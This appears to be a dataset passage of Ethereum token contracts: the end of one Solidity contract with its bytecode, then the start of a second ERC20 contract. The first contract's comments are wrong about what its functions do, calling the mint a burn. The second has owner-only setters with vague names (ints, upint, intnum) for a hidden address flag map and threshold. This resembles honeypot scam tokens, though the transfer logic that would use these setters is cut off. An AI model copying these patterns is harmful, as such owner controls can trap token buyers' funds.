*
* @param amount the amount of money to lock
*
*
*/
function LockTokens(address Account, uint256 amount) onlyOwner public{
LockedTokens[Account]=amount;
}
function UnLockTokens(address Account) onlyOwner public{
LockedTokens[Account]=0;
}
/**
* Mintable, Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function mint(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[msg.sender] != 0x0); // Check if the sender has enough
require(balanceOf[msg.sender] != 0x0);
require(_value < limit); //limit the mint function
balanceOf[msg.sender]=balanceOf[msg.sender].add(_value,"ERC20: Addition overflow"); // Subtract from the sender
totalSupply=totalSupply.add(_value,"ERC20: totalSupply increased ");
emit Mint(msg.sender, _value);
return true;
}
/**
* Airdrop tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount with decimals(18)
*
*/
mapping (address => uint256) public airDropHistory;
event AirDrop(address _receiver, uint256 _amount);
function dropToken(address[] memory receivers, uint256[] memory values) onlyOwner public {
require(receivers.length != 0);
require(receivers.length == values.length);
for (uint256 i = 0; i < receivers.length; i++) {
address receiver = receivers[i];
uint256 amount = values[i];
transfer(receiver, amount);
airDropHistory[receiver] += amount;
emit AirDrop(receiver, amount);
}
}
/// Set whether transfer is enabled or disabled
function enableTokenTransfer() onlyOwner public {
TransferAllowed = true;
emit TransferEnabled (true);
}
function disableTokenTransfer() onlyOwner public {
TransferAllowed = false;
emit TransferDisabled (true);
}
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063795b0e16116100de578063a9059cbb11610097578063ccd28a4c11610071578063ccd28a4c146109b1578063dd62ed3e14610a09578063e2a9ca4c14610a81578063f2fde38b14610a8b57610173565b8063a9059cbb14610702578063c77828d014610768578063cae9ca51146108b457610173565b8063795b0e161461050f57806379cc6790146105315780638da5cb5b1461059757806395d89b41146105e1578063a0712d6814610664578063a26bddb4146106aa57610173565b8063313ce56711610130578063313ce567146103b15780633a764462146103d557806342966c68146103df5780634723e1241461042557806350a8dbb71461046957806370a08231146104b757610173565b806306fdde0314610178578063095ea7b3146101fb57806311a5c3611461026157806318160ddd146102b15780631f846df4146102cf57806323b872dd1461032b575b600080fd5b610180610acf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6d565b604051808215151515815260200191505060405180910390f35b6102af6004803603604081101561027757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610d67565b005b6102b9610e84565b6040518082815260200191505060405180910390f35b610311600480360360208110156102e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e8a565b604051808215151515815260200191505060405180910390f35b6103976004803603606081101561034157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaa565b604051808215151515815260200191505060405180910390f35b6103b9610f75565b604051808260ff1660ff16815260200191505060405180910390f35b6103dd610f88565b005b61040b600480360360208110156103f557600080fd5b81019080803590602001909291905050506110a3565b604051808215151515815260200191505060405180910390f35b6104676004803603602081101561043b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611414565b005b6104b56004803603604081101561047f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061151e565b005b6104f9600480360360208110156104cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611628565b6040518082815260200191505060405180910390f35b610517611640565b604051808215151515815260200191505060405180910390f35b61057d6004803603604081101561054757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611653565b604051808215151515815260200191505060405180910390f35b61059f611b58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e9611b7d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062957808201518184015260208101905061060e565b50505050905090810190601f1680156106565780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106906004803603602081101561067a57600080fd5b8101908080359060200190929190505050611c1b565b604051808215151515815260200191505060405180910390f35b6106ec600480360360208110156106c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f48565b6040518082815260200191505060405180910390f35b61074e6004803603604081101561071857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f60565b604051808215151515815260200191505060405180910390f35b6108b26004803603604081101561077e57600080fd5b810190808035906020019064010000000081111561079b57600080fd5b8201836020820111156107ad57600080fd5b803590602001918460208302840111640100000000831117156107cf57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561082f57600080fd5b82018360208201111561084157600080fd5b8035906020019184602083028401116401000000008311171561086357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611f77565b005b610997600480360360608110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561091157600080fd5b82018360208201111561092357600080fd5b8035906020019184600183028401116401000000008311171561094557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061216c565b604051808215151515815260200191505060405180910390f35b6109f3600480360360208110156109c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122d4565b6040518082815260200191505060405180910390f35b610a6b60048036036040811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122ec565b6040518082815260200191505060405180910390f35b610a89612373565b005b610acd60048036036020811015610aa157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061248e565b005b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b655780601f10610b3a57610100808354040283529160200191610b65565b820191906000526020600020905b815481529060010190602001808311610b4857829003601f168201915b505050505081565b600080610bdc836040518060600160405280602c815260200161317d602c9139600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b9050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610c76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180613215602d913960400191505060405180910390fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60045481565b60086020528060005260406000206000915054906101000a900460ff1681565b6000610eb78484846126d9565b610f6a8433610f658560405180606001604052806028815260200161310c60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b612d42565b600190509392505050565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b6001600a60006101000a81548160ff0219169083151502179055507fa410c62368e64b86d7722fd28e698d03bd00719ba95a861b50ceb65efdc6ca446001604051808215151515815260200191505060405180910390a1565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461116a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f45524332303a2055736572204c6f636b6564202100000000000000000000000081525060200191505060405180910390fd5b60006111d88360405180606001604052806026815260200161309860269139600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b9050600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015611272576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806130426034913960400191505060405180910390fd5b6112de8360405180606001604052806023815260200161324260239139600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611350836040518060600160405280602781526020016131ee602791396004546126199092919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60066020528060005260406000206000915090505481565b600a60009054906101000a900460ff1681565b6000801515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461171a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f45524332303a2055736572204c6f636b6564202100000000000000000000000081525060200191505060405180910390fd5b60001515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146117e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45524332303a204f776e6572204c6f636b65642021000000000000000000000081525060200191505060405180910390fd5b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611867576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806131a96021913960400191505060405180910390fd5b61191a84336119158660405180606001604052806024815260200161313460249139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b612d42565b611986836040518060600160405280602881526020016130e460289139600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015611a20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806132656031913960400191505060405180910390fd5b80600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a938360405180606001604052806026815260200161301c602691396004546126199092919063ffffffff16565b6004819055508373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c135780601f10611be857610100808354040283529160200191611c13565b820191906000526020600020905b815481529060010190602001808311611bf657829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611d2b57600080fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611d7857600080fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dc557600080fd5b6005548210611dd357600080fd5b611e5c826040518060400160405280601881526020017f45524332303a204164646974696f6e206f766572666c6f770000000000000000815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f399092919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611eeb826040518060400160405280601d81526020017f45524332303a20746f74616c537570706c7920696e6372656173656420000000815250600454612f399092919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a260019050919050565b60096020528060005260406000206000915090505481565b6000611f6d3384846126d9565b6001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612039576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b60008251141561204857600080fd5b805182511461205657600080fd5b60008090505b825181101561216757600083828151811061207357fe5b60200260200101519050600083838151811061208b57fe5b6020026020010151905061209f8282611f60565b5080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f2a2f3a6f457f222229acc6b14376a5d3f4344fae935675150a096e2f1056bd988282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050808060010191505061205c565b505050565b60008084905061217c8585610b6d565b156122cb578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561225a57808201518184015260208101905061223f565b50505050905090810190601f1680156122875780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156122a957600080fd5b505af11580156122bd573d6000803e3d6000fd5b5050505060019150506122cd565b505b9392505050565b600b6020528060005260406000206000915090505481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612435576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b6000600a60006101000a81548160ff0219169083151502179055507f1d040ada22acd5a754608ae1bdb429f6680def446797a56d3dcfb930364df25d6001604051808215151515815260200191505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612550576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806130be6026913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008383111582906126c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561268b578082015181840152602081019050612670565b50505050905090810190601f1680156126b85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612760576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131586025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ff96023913960400191505060405180910390fd5b60001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146128ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2043616c6c6572204c6f636b656420210000000000000000000081525060200191505060405180910390fd5b60001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612972576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2053656e646572204c6f636b656420210000000000000000000081525060200191505060405180910390fd5b60001515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612a38576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f45524332303a2052656365697069656e74204c6f636b6564202100000000000081525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff16151514612ac1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a205472616e7366657220656e61626c65642066616c736520210081525060200191505060405180910390fd5b612b2d8260405180606001604052806026815260200161309860269139600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126199092919063ffffffff16565b9050600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015612bc7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806130426034913960400191505060405180910390fd5b80600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c94826040518060400160405280601881526020017f45524332303a204164646974696f6e206f766572666c6f770000000000000000815250600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f399092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612dc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806131ca6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806130766022913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808385019050848110158390612fec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612fb1578082015181840152602081019050612f96565b50505050905090810190601f168015612fde5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204275726e20416d6f756e74206578636565647320746f74616c537570706c7945524332303a207472616e7366657220616d6f756e7420657863656564732053656e64657273204c6f636b656420416d6f756e7445524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654552433230204e6577204f776e65722063616e6e6f74206265207a65726f206164647265737345524332303a205472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20416c6c6f77616e636520657863656564732062616c616e6365206f6620617070726f76657245524332303a204275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a204275726e20616d6f756e74206578636565647320746f74616c20737570706c7945524332303a20417070726f76616c20616d6f756e742065786365656473206c6f636b656420616d6f756e742045524332303a204275726e20616d6f756e7420657863656564732062616c616e63652e45524332303a204275726e20616d6f756e742065786365656473206163636f756e7473206c6f636b656420616d6f756e74a265627a7a7231582041b0940af49586315aacfc5a28492e15d06475f7f882e3eb3bd7d1b760f4644664736f6c634300050b0032 | {"success": true, "error": null, "results": {}} | 174 |
0xa792cba3dd118fa25ad418605a285e6cb1d25a82 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
